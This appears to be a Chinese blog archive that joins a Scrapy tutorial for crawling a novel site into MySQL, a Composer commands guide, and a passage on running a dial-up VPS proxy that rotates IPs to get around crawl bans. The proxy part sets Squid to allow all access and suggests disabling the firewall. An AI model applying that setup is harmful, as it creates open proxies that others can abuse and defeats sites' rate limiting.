第一步:创建项目;CMD 进入你需要放置项目的目录 输入:

1
scrapy startproject XXXXX             XXXXX代表你项目的名字

创建项目 OK 项目创建完成。现在可以开始我们的爬取之旅了! 下面是目录中各个文件的作用 各个文件的作用 好了,目录我们认识完了,在开始之前给大家一个小技巧,Scrapy 默认是不能在 IDE 中调试的,我们在根目录中新建一个 py 文件叫:entrypoint.py;在里面写入以下内容:

1
2
from scrapy.cmdline import execute
execute(['scrapy', 'crawl', 'dingdian'])

注意!第二行中代码中的前两个参数是不变的,第三个参数请使用自己的 spider 的名字。稍后我会讲到!! 现在整个目录看起来是这样: 快捷启动 基础工作准备完毕!我们来说说基本思路。 上面的准备工作完成之后,我们先不要着急开始工作,毕竟作为一个框架,还是很复杂的;贸然上手 开整,很容易陷入懵逼状态啊!一团浆糊,理不清思路,后面的事情做起来很很麻烦啦! 我们来看看下面这张图: scrapy_architecture 这就是整个 Scrapy 的架构图了; Scrapy Engine: 这是引擎,负责 Spiders、ItemPipeline、Downloader、Scheduler 中间的通讯,信号、数据传递等等!(像不像人的身体?) Scheduler(调度器): 它负责接受引擎发送过来的 requests 请求,并按照一定的方式进行整理排列,入队、并等待 Scrapy Engine(引擎)来请求时,交给引擎。 Downloader(下载器):负责下载 Scrapy Engine(引擎)发送的所有 Requests 请求,并将其获取到的 Responses 交还给 Scrapy Engine(引擎),由引擎交给 Spiders 来处理, Spiders:它负责处理所有 Responses,从中分析提取数据,获取 Item 字段需要的数据,并将需要跟进的 URL 提交给引擎,再次进入 Scheduler(调度器), Item Pipeline:它负责处理 Spiders 中获取到的 Item,并进行处理,比如去重,持久化存储(存数据库,写入文件,总之就是保存数据用的) Downloader Middlewares(下载中间件):你可以当作是一个可以自定义扩展下载功能的组件 Spider Middlewares(Spider 中间件):你可以理解为是一个可以自定扩展和操作引擎和 Spiders 中间‘通信‘的功能组件(比如进入 Spiders 的 Responses;和从 Spiders 出去的 Requests) 数据在整个 Scrapy 的流向: 程序运行的时候, 引擎:Hi!Spider, 你要处理哪一个网站? Spiders:我要处理 23wx.com 引擎:你把第一个需要的处理的 URL 给我吧。 Spiders:给你第一个 URL 是 XXXXXXX.com 引擎:Hi!调度器,我这有 request 你帮我排序入队一下。 调度器:好的,正在处理你等一下。 引擎:Hi!调度器,把你处理好的 request 给我, 调度器:给你,这是我处理好的 request 引擎:Hi!下载器,你按照下载中间件的设置帮我下载一下这个 request 下载器:好的!给你,这是下载好的东西。(如果失败:不好意思,这个 request 下载失败,然后引擎告诉调度器,这个 request 下载失败了,你记录一下,我们待会儿再下载。) 引擎:Hi!Spiders,这是下载好的东西,并且已经按照 Spider 中间件处理过了,你处理一下(注意!这儿 responses 默认是交给 def parse 这个函数处理的Spiders:(处理完毕数据之后对于需要跟进的 URL),Hi!引擎,这是我需要跟进的 URL,将它的 responses 交给函数 def xxxx(self, responses)处理。还有这是我获取到的 Item。 引擎:Hi !Item Pipeline 我这儿有个 item 你帮我处理一下!调度器!这是我需要的 URL 你帮我处理下。然后从第四步开始循环,直到获取到你需要的信息, 注意!只有当调度器中不存在任何 request 了,整个程序才会停止,(也就是说,对于下载失败的URL,Scrapy 会重新下载。) 以上就是 Scrapy 整个流程了。 QQ图片20161022193315 大家将就着看看。 建立一个项目之后: 第一件事情是在 items.py 文件中定义一些字段,这些字段用来临时存储你需要保存的数据。方便后面保存数据到其他地方,比如数据库 或者 本地文本之类的。 第二件事情在 spiders 文件夹中编写自己的爬虫 第三件事情在 pipelines.py 中存储自己的数据 还有一件事情,不是非做不可的,就 settings.py 文件 并不是一定要编辑的,只有有需要的时候才会编辑。 建议一点:在大家调试的时候建议大家在 settings.py 中取消下面几行的注释: 设置setting01 这几行注释的作用是,Scrapy 会缓存你有的 Requests!当你再次请求时,如果存在缓存文档则返回缓存文档,而不是去网站请求,这样既加快了本地调试速度,也减轻了 网站的压力。一举多得 第一步定义字段: 好了,我们来做 第一步 定义一些字段;那具体我们要定义那些字段呢? 这个根据自己需要的提取的内容来定义。 比如:我们爬取小说站点都需要提取些什么数据啊? 小说名字、作者、小说地址、连载状态、连载字数、文章类别 就像下面这样: Scrapy01 这样我们第一步就完成啦!是不是 So Easy?ヾ(´▽‘)ノ ; 下面开始重点了哦!编写 spider(就是我们用来提取数据的爬虫了) 第二步编写 Spider: 在 spiders 文件中新建一个 dingdian.py 文件 并导入我们需用的模块 Scrapy02 PS:Scrapy 中 Response 可以直接使用 Xpath 来解析数据;不过大家也可以使用自己习惯的包,比如我导入的 BS4 、re ;当然也可以使其他比如 pyquery 之类的。这个并没有什么限制 另外或许个别小伙伴会遇到 from dingdian.items import DingdianItem 这个导入失败的情况;可以试试把项目文件移动到根目录。 Request 这个模块可以用来重写单独请求一个 URL,用于我们后面跟进 URL。 好了开整;首先我们需要什么? 我们需要从一个地址入手开始爬取,我在顶点小说上没有发现有全站小说地址,但是我找到每个分类地址全部小说: 玄幻魔幻:http://www.23wx.com/class/1_1.html 武侠修真:http://www.23wx.com/class/2_1.html 都市言情:http://www.23wx.com/class/3_1.html 历史军事:http://www.23wx.com/class/4_1.html 侦探推理:http://www.23wx.com/class/5_1.html 网游动漫:http://www.23wx.com/class/6_1.html 科幻小说:http://www.23wx.com/class/7_1.html 恐怖灵异:http://www.23wx.com/class/8_1.html 散文诗词:http://www.23wx.com/class/9_1.html 其他:http://www.23wx.com/class/10_1.html 全本:http://www.23wx.com/quanben/1 好啦!入口地址我们找到了,现在开始写第一部分代码: 当然对于上面的地址,我们是可以直接全使用 Start_urls 这种列表全部请求,不过并不太美观,我需要把其中,有规律的部分,单独其他方式实现,比如字典之类的: Scrapy22 第十行:首先我们创建一个类 Myspider;这个类继承自 scrapy.Spider(当然还有一些其他父类,继承各个父类后能实现的功能不一样); 第十二行:我们定义 name:dingdian (请注意,这 name 就是我们在 entrypoint.py 文件中的第三个参数!)!!!!请务必注意:此 Name 的!名字!在整个项目中有且只能有一个、名字不可重复!!!! 第十一行:我们定义了一个 allowed_domains;这个不是必须的;但是在某写情况下需要用得到,比如使用爬取规则的时候就需要了;它的作用是只会跟进存在于 allowed_domains 中的 URL。不存在的 URL 会被忽略。 第十七行到第十九行:我们使用字符串拼接的方式实现了我们上面发现的全部 URL。 第二十行和二十一行:我们使用了导入的 Request 包,来跟进我们的 URL(并将返回的 response 作为参数传递给 self.parse, 嗯!这个叫回调函数!) 第二十三行:使用 parse 函数接受上面 request 获取到的 response。(请务必注意:不要轻易改写 parse 函数(意思就是不要把 parse 函数用作它用);因为这样 request 的回调函数被你用了,就没谁接受 request 返回的 response 啦!如果你非要用作它用,则需要自己给 request 一个回调函数哦!)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import re
import scrapy #导入scrapy包
from bs4 import BeautifulSoup
from scrapy.http import Request ##一个单独的request的模块,需要跟进URL的时候,需要用它
from dingdian.items import DingdianItem ##这是我定义的需要保存的字段,(导入dingdian项目中,items文件中的DingdianItem类)

class Myspider(scrapy.Spider):

name = 'dingdian'
allowed_domains = ['23wx.com']
bash_url = 'http://www.23wx.com/class/'
bashurl = '.html'

def start_requests(self):
for i in range(1, 11):
url = self.bash_url + str(i) + '_1' + self.bashurl
yield Request(url, self.parse)
yield Request('http://www.23wx.com/quanben/1', self.parse)

def parse(self, response):
print(response.text)

我们测试一下是否正常工作:在 IDE 中运行我们之前创建的 entrypoint.py 文件(如果没有这个文件是不能在 IDE 中运行的哦!ヽ(=^・ω・^=)丿) 然后会像这样: Spider编写03 你会发现在红色状态报告之后,所有页面几乎是一瞬间出现的;那是因为 Scrapy 使用了异步啦!ヽ(°◇° )ノ 另外因为 Scrapy 遵循了 robots 规则,如果你想要获取的页面在 robots 中被禁止了,Scrapy 是会忽略掉的哦!!ヾ(。 ̄ □  ̄)ツ゜゜゜ 请求就这么轻而易举的实现了啊!简直 So Easy! 继续 继续! 我们需要历遍所有页面才能取得所有的小说页面连接: 分析网页2 分析网页01 每个页面的这个位置都是最后一个页面,我们提取出它,历遍就可以拼接出一个完整的 URL 了ヾ§  ̄ ▽)ゞ 2333333 Go Go Scrapy20 第二十三行:def parse(self, response)这个函数接受来在二十一行返回的 response,并处理。 第二十四行:我们使用 BS4 从 response 中获取到了最大页码。 第二十五行至二十七行:我们照例拼接了一个完整的 URL(response.url:就是这个 response 的 URL 地址) 第二十八行:功能和第二十行一样,callback= 是指定回调函数,不过不写 callback=也没有什么影响! 注意我只是说的 callback=这个几个;不是后面的 self.get_name. 看清楚了 response 是怎么用的没?ヾ§  ̄ ▽)ゞ 2333333 是不是 So Easy? 如果不清楚那个拼接 URL 的小伙伴可以打印出来,看看哦··· 再去观察一下网页,就很明白啦 上面两个函数就彻底的把整个网站的所有小说的页面 URL 的提取出来了,并将每个页面的 response 交给了 get_name 函数处理哦! 现在我们的爬虫就开始处理具体的小说了哦: Scrapy07 瞅见没 我们需要的东西,快用 F12 工具看一下吧,在什么位置有什么标签,可以方便我们提取数据。还不知道怎么看的小伙伴,去看看妹子图那个教程,有教哦;实在不行百度一下也行! 过程忽略了,直接上代码(主要是懒癌来了): Scrapy09 前面三行不说了, 第三十七和三十八行:是我们的小说名字和 URL 第三十九行和第四十行;大伙儿可能会发现,多了个一个 meta 这么一个字典,这是 Scrapy 中传递额外数据的方法。因我们还有一些其他内容需要在下一个页面中才能获取到。 下面我的爬虫进入了这个页面: Scrapy10 这个页面就有很多我们需要的信息了:废话不说了代码上来: Scrapy11 第四十行:将我们导入的 item 文件进行实例化,用来存储我们的数据。 后面全部:将需要的数据,复制给 item[key] (注意这儿的 Key 就是我们前面在 item 文件中定义的那些字段。) 注意!response.meta[key]:这个是提取从上一个函数传递下来的值。 return item 就是返回我们的字典了,然后 Pipelines 就可以开始对这些数据进行处理了。比如 存储之类的。 好啦,Spiders 我们先编写到这个地方。(是不是有小伙伴发现我还有几个字段没有取值?当然留着你们自己试试了,哈哈哈ヽ(=^・ω・^=)丿)后面再继续。 我现在教教大家怎么处理这些数据:对头就是说说 Pipeline 了: 对于基本的 Pipeline 存储方式,网上有很多教程了,今天我们做一个自定义的 MySQL 的 Pipeline: 首先为了能好区分框架自带的 Pipeline,我们把 MySQL 的 Pipeline 单独放到一个目录里面。 Scrapy12 我们在项目中新建了一个 mysqlpipelines 的文件夹,我们所有的 MySQL 文件都放在这个目录。 init.py 这个文件不需要我说了吧,不知道做啥的小哥儿自己百度。 pipelines.py 这个是我们写存放数据的文件 sql.py 看名字就知道,需要的 sql 语句。 首先是需要的 MySQL 表,(MySQL 都没有的小哥儿 自己百度装一个啊,我就不教了)

1
2
3
4
5
6
7
8
9
DROP TABLE IF EXISTS `dd_name`;
CREATE TABLE `dd_name` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`xs_name` varchar(255) DEFAULT NULL,
`xs_author` varchar(255) DEFAULT NULL,
`category` varchar(255) DEFAULT NULL,
`name_id` varchar(255) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=38 DEFAULT CHARSET=utf8mb4;

首先我们再 settings.py 文件中定义好 MySQL 的配置文件(当然你也可以直接定义在 sql.py 文件中): MySQL setting PS :注意 MySQL 的默认端口是 3306;我自己的 MySQL 改成了 3389。这儿各位酌情自己更改。 在开始写 sql.py 之前,我们需要安装一个 Python 操作 MySQL 的包,来自 MySQL 官方的一个包:点我下载 下载完成后解压出来,从 CMD 进入该目录的绝对路径,然后 Python setup.py install ;即可完成安装 下面是我们的 sql.py 文件: sql01 第一行至第二行分别导入了:我的 MySQL 操作包,settings 配置文件 第四行至第八行 : 从 settings 配置文件中获取到了,我们的 MySQL 配置文件 第十行至第十一行: 初始化了一个 MySQL 的操作游标 第十三行: 定义了一个 Sql 的类 第十六行至第二十五行:定义了一个函数,将函数中的四个变量写入数据库(这四个变量就是我们后面传进来的需要存储的数据。) 关于@classmethod 这个是一个修饰符;作用是我们不需要初始化类就可以直接调用类中的函数使用(具体说起来麻烦,知道作用就好啦) 好了第一部分写完了,我们还需要一个能够去重的: sql01 这一段代码会查找 name_id 这个字段,如果存在则会返回 1 不存在则会返回 0 Nice!sqi.py 这一部分我们完成,来开始写 pipeline 吧: pipeline02 第一行至第二行:我们导入了之前编写的 sql.py 中的 Sql 类,和我们建立的 item 第六行:建立了一个 DingdianPipeline 的类(别忘了一定要继承 object 这个类啊,这是做啥的不用多了解,说多了你们头晕,我也懒) 第八行:我们定义了一个 process_item 函数并有,item 和 spider 这两个参数(请注意啊!这两玩意儿 务必!!!要加上!!千万不能少!!!!务必!!!务必!!!) 第十行:你这样理解如果在 item 中存在 DingdianItem;就执行下面的。 第十一行:从 item 中取出 name_id 的值。 第十二行:调用 Sql 中的 select_name 函数获得返回值 第十三行:判断 ret 是否等于 1 ,是的话证明已经存了 第二十行:调用 Sql 中的 insert_dd_name 函数,存储上面几个值。 搞完!下面我们启用这个 Pipeline 在 settings 中作如下设置: setting02 PS: dingdian(项目目录).mysqlpipelines(自己建立的 MySQL 目录).pipelines(自己建立的 pipelines 文件).DingdianPipeline(其中定义的类) 后面的 1 是优先级程度(1-1000 随意设置,数值越低,组件的优先级越高) 好!我们来运行一下试试!!Go Go Go! scrapy15 Nice!!完美!!我之前运行过了 所以提示已经存在。 scrapy17 下面我们开始还剩下的一些内容获取:小说章节 和章节内容 首先我们在 item 中新定义一些需要获取内容的字段: scrapy16 代码不解释了哦!(懒癌来了,写不下去了) 继续编写 Spider 文件: scrapy18 请注意我图中画红框的的地方,这个地方返回 item 是不能用 return 的哦!用了就结束了,程序就不会继续下去了,得用 yield(你知道就行,这玩意儿说起来麻烦。) 第五十八行: num 这个变量的作用是 因为 Scrapy 是异步的方式运作,你采集到的章节顺序都是混乱的,需要给它有序的序列,我们按照这个排序就能得到正确的章节顺序啦 请注意在顶部导入定义的第二个 item 类! 下面我们来写存储这部分 spider 的 Pipeline: 数据表:

1
2
3
4
5
6
7
8
9
10
11
DROP TABLE IF EXISTS `dd_chaptername`;
CREATE TABLE `dd_chaptername` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`xs_chaptername` varchar(255) DEFAULT NULL,
`xs_content` text,
`id_name` int(11) DEFAULT NULL,
`num_id` int(11) DEFAULT NULL,
`url` varchar(255) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2726 DEFAULT CHARSET=gb18030;
SET FOREIGN_KEY_CHECKS=1;

Sql.py: Scrapy13 Scrapy14 不解释了哦! 下面是 Pipeline: scrapy21 有小伙伴注意,这儿比上面一个 Pipeline 少一个判断,因为我把判断移动到 Spider 中去了,这样就可以减少一次 Request,减轻服务器压力。 改变后的 Spider 长这样: Scrapy16 别忘了在 spider 中导入 Sql 哦!ヾ(。 ̄ □  ̄)ツ゜゜゜ 到此收工!!!! 至于小说图片,因为 Scrapy 的图片下载管道,是自动以 md5 命名,而且感觉不爽··· 后面单独写一个异步下载的脚本··· https://github.com/thsheep/dingdian

PHP

这篇文章主要介绍一些常用的包管理命令以及包的版本如何进行约束。

常用命令

require命令

在《Composer快速入门》中已经简单介绍过使用install命令安装依赖的方式。除了install命令,我们还可以使用require命令快速的安装一个依赖而不需要手动在composer.json里添加依赖信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ composer require monolog/monolog
Using version ^1.19 for monolog/monolog
./composer.json has been updated
Loading composer repositories with package information
Updating dependencies (including require-dev)
- Installing psr/log (1.0.0)
Downloading: 100%

- Installing monolog/monolog (1.19.0)
Downloading: 100%

monolog/monolog suggests installing graylog2/gelf-php (Allow sending log messages to a GrayLog2 server)
......
monolog/monolog suggests installing php-console/php-console (Allow sending log messages to Google Chrome)
Writing lock file
Generating autoload files

Composer会先找到合适的版本,然后更新composer.json文件,在require那添加monolog/monolog包的相关信息,再把相关的依赖下载下来进行安装,最后更新composer.lock文件并生成php的自动加载文件。

update命令

通过update命令,可以更新项目里所有的包,或者指定的某些包。

1
2
3
4
5
6
7
8
9
10
11
# 更新所有依赖
$ composer update

# 更新指定的包
$ composer update monolog/monolog

# 更新指定的多个包
$ composer update monolog/monolog symfony/dependency-injection

# 还可以通过通配符匹配包
$ composer update monolog/monolog symfony/*

需要注意的时,包能升级的版本会受到版本约束的约束,包不会升级到超出约束的版本的范围。例如如果composer.json里包的版本约束为^1.10,而最新版本为2.0。那么update命令是不能把包升级到2.0版本的,只能最高升级到1.x版本。关于版本约束请看后面的介绍。

remove命令

使用remove命令可以移除一个包及其依赖(在依赖没有被其他包使用的情况下):

1
2
3
4
5
6
7
$ composer remove monolog/monolog
Loading composer repositories with package information
Updating dependencies (including require-dev)
- Removing monolog/monolog (1.19.0)
- Removing psr/log (1.0.0)
Writing lock file
Generating autoload files

search命令

使用search命令可以进行包的搜索:

1
2
3
4
5
$ composer search monolog
monolog/monolog Sends your logs to files, sockets, inboxes, databases and various web services

# 如果只是想匹配名称可以使用--only-name选项
$ composer search --only-name monolog

show命令

使用show命令可以列出项目目前所安装的包的信息:

1
2
3
4
5
6
7
8
# 列出所有已经安装的包
$ composer show

# 可以通过通配符进行筛选
$ composer show monolog/*

# 显示具体某个包的信息
$ composer show monolog/monolog

以上是常用命令的介绍。

版本约束

前面说到,我们可以指定要下载的包的版本。例如我们想要下载版本1.19的monolog。我们可以通过composer.json文件:

1
2
3
4
5
{
"require": {
"monolog/monolog": "1.19"
}
}

然后运行install命令,或者通过require命令达到目的:

1
2
3
4
5
6
7
$ composer require monolog/monolog:1.19

# 或者
$ composer require monolog/monolog=1.19

# 或者
$composer require monolog/monolog 1.19

除了像上面那样指定具体的版本,我们还可以通过不同的约束方式去指定版本。

基本约束

精确版本

可以指定具体的版本,告诉Composer只能安装这个版本。但是如果其他的依赖需要用到其他的版本,则包的安装或者更新最后会失败并终止。 例子:1.0.2

范围

使用比较操作符你可以指定包的范围。这些操作符包括:\>\>=<<=!=。 你可以定义多个范围,使用空格 或者逗号,表示逻辑上的与,使用双竖线||表示逻辑上的或。其中与的优先级会大于或。

需要注意的是,使用没有边界的范围有可能会导致安装不可预知的版本,并破坏向下的兼容性。建议使用折音号操作符。

例子:

  • \>=1.0
  • \>=1.0 <2.0
  • \>=1.0 <1.1 || >=1.2

范围(使用连字符)

带连字符的范围表明了包含的版本范围,意味着肯定是有边界的。其中连字符的左边表明了\>=的版本,而连字符的右边情况则稍微有点复杂。如果右边的版本不是完整的版本号,则会被使用通配符进行补全。例如1.0 - 2.0等同于\>=1.0.0 <2.12.0相当于2.0.*),而1.0.0 - 2.1.0则等同于\>=1.0.0 <=2.1.0。 例子:1.0 - 2.0

通配符

可以使用通配符去定义版本。1.0.*相当于\>=1.0 <1.1。 例子:1.0.*

下一个重要版本操作符

波浪号~

我们先通过后面这个例子去解释~操作符的用法:~1.2相当于\>=1.2 <2.0.0,而~1.2.3相当于\>=1.2.3 <1.3.0。对于使用Semantic Versioning作为版本号标准的项目来说,这种版本约束方式很实用。例如~1.2定义了最小的小版本号,然后你可以升级2.0以下的任何版本而不会出问题,因为按照Semantic Versioning的版本定义,小版本的升级不应该有兼容性的问题。简单来说,~定义了最小的版本,并且允许版本的最后一位版本号进行升级(没懂得话,请再看一边前面的例子)。 例子:~1.2

需要注意的是,如果~作用在主版本号上,例如~1,按照上面的说法,Composer可以安装版本1以后的主版本,但是事实上是~1会被当作~1.0对待,只能增加小版本,不能增加主版本。

折音号^

^操作符的行为跟Semantic Versioning有比较大的关联,它允许升级版本到安全的版本。例如,^1.2.3相当于\>=1.2.3 <2.0.0,因为在2.0版本前的版本应该都没有兼容性的问题。而对于1.0之前的版本,这种约束方式也考虑到了安全问题,例如^0.3会被当作\>=0.3.0 <0.4.0对待。 例子:^1.2.3

版本稳定性

如果你没有显式的指定版本的稳定性,Composer会根据使用的操作符,默认在内部指定为\-dev或者\-stable。例如:

约束

内部约束

1.2.3

\=1.2.3.0-stable

>1.2

>1.2.0.0-stable

>=1.2

>=1.2.0.0-dev

>=1.2-stable

>=1.2.0.0-stable

<1.3

<1.3.0.0-dev

<=1.3

<=1.3.0.0-stable

1 - 2

>=1.0.0.0-dev <3.0.0.0-dev

~1.3

>=1.3.0.0-dev <2.0.0.0-dev

1.4.*

>=1.4.0.0-dev <1.5.0.0-dev

如果你想指定版本只要稳定版本,你可以在版本后面添加后缀\-stableminimum-stability 配置项定义了包在选择版本时对稳定性的选择的默认行为。默认是stable。它的值如下(按照稳定性排序):devalphabetaRCstable。除了修改这个配置去修改这个默认行为,我们还可以通过稳定性标识(例如@stable@dev)来安装一个相比于默认配置不同稳定性的版本。例如:

1
2
3
4
5
6
{
"require": {
"monolog/monolog": "1.0.*@beta",
"acme/foo": "@dev"
}
}

以上是版本约束的介绍

参考

  • https://segmentfault.com/a/1190000005898222
  • https://getcomposer.org/doc/03-cli.md[2]
  • https://getcomposer.org/doc/articles/versions.md[3]
  • http://semver.org/[1]

Python

2022 年最新 Python3 网络爬虫教程

大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

教程请移步:

【2022 版】Python3 网络爬虫学习教程

如下为原文。

提示

本教程方法已不是最优,最新解决方案请移步 http://cuiqingcai.com/4596.html

那夜

那是一个寂静的深夜,科比还没起床练球,虽然他真的可能不练了。 我废了好大劲,爬虫终于写好了!BUG 也全部调通了!心想,终于可以坐享其成了! 泡杯茶,安静地坐在椅子上看着屏幕上一行行文字在控制台跳出,一条条数据嗖嗖进入我的数据库,一张张图片悄悄存入我的硬盘。人生没有几个比这更惬意的事情了。 我端起茶杯,抿了一口,静静地回味着茶香。 这时,什么情况!屏幕爆红了!爆红了!一口茶的功夫啊喂! 怎么回事!咋爬不动了,不动了!我用浏览器点开那一个个报错的链接,浏览器显示

您的请求过于频繁,IP 已经被暂时封禁,请稍后再试!

沃日,我 IP 被封了?此时此刻,空气凝固了,茶也不再香了,请给我一个爱的抱抱啊。 时候不早了,还是洗洗睡吧。

次日

那一晚,辗转反侧难以入睡。 怎么办?怎么办?如果是你你该怎么办? 手动换个 IP?得了吧,一会又要封了,还能不能安心睡觉啊? 找免费代理?可行,不过我之前测过不少免费代理 IP,一大半都不好用,而且慢。不过可以一直维护一个代理池,定时更新。 买代理?可以可以,不过优质的代理服务商价格可是不菲的,我买过一些廉价的,比如几块钱套餐一次提取几百 IP 的,算了还是不说了都是泪。 然而最行之有效的方法是什么?那当然是 ADSL 拨号! 这是个啥?且听我慢慢道来。

什么是 ADSL

ADSL (Asymmetric Digital Subscriber Line ,非对称数字用户环路)是一种新的数据传输方式。它因为上行和下行带宽不对称,因此称为非对称数字用户线环路。它采用频分复用技术把普通的电话线分成了电话、上行和下行三个相对独立的信道,从而避免了相互之间的干扰。 他有个独有的特点,每拨一次号,就获取一个新的 IP。也就是它的 IP 是不固定的,不过既然是拨号上网嘛,速度也是有保障的,用它搭建一个代理,那既能保证可用,又能自由控制拨号切换。 如果你是用的 ADSL 上网方式,那就不用过多设置了,直接自己电脑调用一个拨号命令就好了,自动换 IP,分分钟解决封 IP 的事。 然而,你可能说?我家宽带啊,我连得公司无线啊,我蹭的网上的啊!那咋办? 这时,你就需要一台 VPS 拨号主机。

购买服务器

某度广告做的那么好是吧?一搜一片,这点谷歌可是远远比不上啊。 于是乎,我就搜了搜,键入:拨号服务器,有什么骑士互联啊、无极网络啊、挂机宝啊等等的。我选了个价钱还凑合的,选了个无极网络(这里不是在打广告),80 一个月的配置,一天两块钱多点。 2 核、512M 内存,10M 带宽。 云立方 大家觉得有更便宜的更好用请告诉我呀! 接下来开始装操作系统,进入后台,有一个自助装系统的页面。 QQ20161121-0 我装的 CentOS 的,在后面设置代理啊,定时任务啊,远程 SSH 管理啊之类的比较方便。如果你想用 Windows,能配置好代理那也没问题。 有的小伙伴可能会问了,既然它的 IP 是拨号变化的,你咋用 SSH 连?其实服务商提供了一个域名,做了动态解析和端口映射,映射到这台主机的 22 端口就好了,所以不用担心 IP 变化导致 SSH 断开的问题。 好了装好了服务器之后,服务商提供了一个 ADSL 的拨号操作过程,用 pppoe 命令都可以完成,如果你的是 Linux 的主机一般都是用这个。然后服务商还会给给你一个拨号账号和密码。 那么接下来就是试下拨号了。 服务商会提供详细的拨号流程说明。 比如无极的是这样的: 拨号流程 设置好了之后,就有几个关键命令:

1
2
3
pppoe-start 拨号
pppoe-stop 断开拨号
pppoe-status 拨号连接状态

如果想重新拨号,那就执行 stop、start 就可以了。 反复执行,然后查看下 ip 地址,你会发现拨号一次换一个 IP,是不是爽翻了! 好,那接下来就设置代理吧。

设置代理服务器

之前总是用别人的代理,没自己设置过吧?那么接下来我们就来亲自搭建 HTTP 代理。 Linux 下搭建 HTTP 代理,推荐 Squid 和 TinyProxy。都非常好配置,你想用哪个都行,且听我慢慢道来。 我的系统是 CentOS,以它为例进行说明。

Squid

首先利用 yum 安装 squid

1
yum -y install squid

设置开机启动

1
chkconfig --level 35 squid on

修改配置文件

1
vi /etc/squid/squid.conf

修改如下几个部分:

1
2
3
http_access allow !Safe_ports    #deny改成allow
http_access allow CONNECT !SSL_ports #deny改成allow
http_access allow all #deny改成allow

其他的不需要过多配置。 启动 squid

1
sudo service squid start

如此一来配置就完成了。 代理使用的端口是 3128

TinyProxy

首先添加一下镜像源,然后安装

1
2
3
rpm -Uvh http://dl.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm
yum update
yum install tinyproxy

修改配置

1
vi /etc/tinyproxy/tinyproxy.conf

可以修改端口和允许的 IP,如果想任意主机都连接那就把 Allow 这一行注释掉。

1
2
3
4
Port 8888 #预设是8888 Port,你可以更改
Allow 127.0.0.1 #将127.0.0.1改成你自己的IP
#例如你的IP 是1.2.3.4,你改成Allow 1.2.3.4,那只有你才可以连上这个Proxy
#若你想任何IP都可以脸到Proxy在Allow前面打#注释

启动 TinyProxy

1
service tinyproxy start

好了,两个代理都配置好了。 你想用那个都可以! 不过你以为这样就完了吗?太天真了,我被困扰了好几天,怎么都连不上,我还在怀疑是不是我哪里设置得不对?各种搜,一直以为是哪里配置有遗漏,后来发现是 iptables 的锅,万恶的防火墙。踩过的的坑,那就不要让大家踩了,用下面的命令设置下 iptables,放行 3128 和 8888 端口就好了。

1
2
3
4
5
6
service iptables save
systemctl stop firewalld
systemctl disable firewalld
systemctl start iptables
systemctl status iptables
systemctl enable iptables

修改 iptables 配置

1
vi /etc/sysconfig/iptables

1
-A IN_public_allow -p tcp -m tcp --dport 22 -m conntrack --ctstate NEW -j ACCEPT

的下面添加两条规则

1
2
-A IN_public_allow -p tcp -m tcp --dport 3128 -m conntrack --ctstate NEW -j ACCEPT
-A IN_public_allow -p tcp -m tcp --dport 8888 -m conntrack --ctstate NEW -j ACCEPT

如图所示 QQ20161121-0@2x 保存,然后重启 iptables

1
sudo service iptabels restart

输入 ifconfig 得到 IP 地址,在其他的主机上输入

1
curl -x IP:8888 www.baidu.com

测试一下,如果能出现结果,那就说明没问题。 QQ20161121-1@2x 如果怎么配都连不上,那干脆关了你的防火墙吧。虽然不推荐。

连接代理

接下来才是重头戏,你咋知道你的服务器 IP 现在到底是多少啊?拨一次号 IP 就换一次,那这还了得? 如果服务商提供了端口映射!那一切都解决了!直接用端口映射过去就好了。然而,我的并没有。 自力更生,艰苦创业! 首先我研究了一下 DDNS 服务,也就是动态域名解析。即使你的 IP 在变化,那也可以通过一个域名来映射过来。 原理简单而统一:当前拨号主机定时向一个固定的服务器发请求,服务器获取 remote_addr 就好了,可以做到定时更新和解析。 那么我找了一下,国内做的比较好的就是花生壳了,然后又找到了 DNSPOD 的接口解析。 下面简单说下我的折腾过程,大家可以先不用试,后面有更有效的方法。

花生壳

现在花生壳出到 3.0 版本了,有免费版和付费版之分,我就试用了一下免费版的。这里是花生壳的一些配置和下载: 花生壳配置 下载花生壳客户端之后,会生成 SN 码,用这个在花生壳的官网登录后,会分配给你一个免费的域名。 接下来这个域名就能解析到你的主机了。

DNSPOD

DNSPOD 原理也是一样,不过好处是你可以配置自己的域名。 在 GitHub 上有脚本可以使用。 脚本链接 具体的细节我就不说了,实际上就是定时请求,利用 remote_addr 更新 DNSPOD 记录,做到动态解析。 解析接口 不过!这两个有个通病!慢! 什么慢?解析慢!但这不是他们的锅,因为 DNS 修改后完全生效就是需要一定的时间,这一秒你拨号了,然后更新了 IP,但是域名可能还是解析着原来的 IP,需要过几分钟才能变过来。这能忍吗? 我可是在跑爬虫啊,这还能忍?

自力更生

嗯,V2EX 果然是个好地方,逛了一下,收获不小。 链接在此 参考了 abelyao 的思路,自己写了脚本来获取 IP,保证秒级更新! 此时,你还需要另一台固定 IP 的主机或者某个云服务器,只要是地址固定的就好。在这里我用了另一台有固定 IP 的阿里云主机,当然你如果有什么新浪云啊之类的也可以。 那么现在的思路就是,拨号 VPS 定时拨号换 IP,然后请求阿里云主机,阿里云主机获取 VPS 的 IP 地址即可。 拨号 VPS 做的事情: 定时拨号,定时请求服务器。使用 bash 脚本,然后 crontab 定时执行。 远程服务器: 接收请求,获取 remote_addr,保存起来。使用 Flask 搭建服务器,接收请求。 废话少说,上代码 AutoProxy

功能

由于 DDNS 生效时间过长,对于爬虫等一些时间要求比较紧迫的项目就不太适用,为此本项目根据 DDNS 基本原理来实现实时获取 ADSL 拨号主机 IP。

基本原理

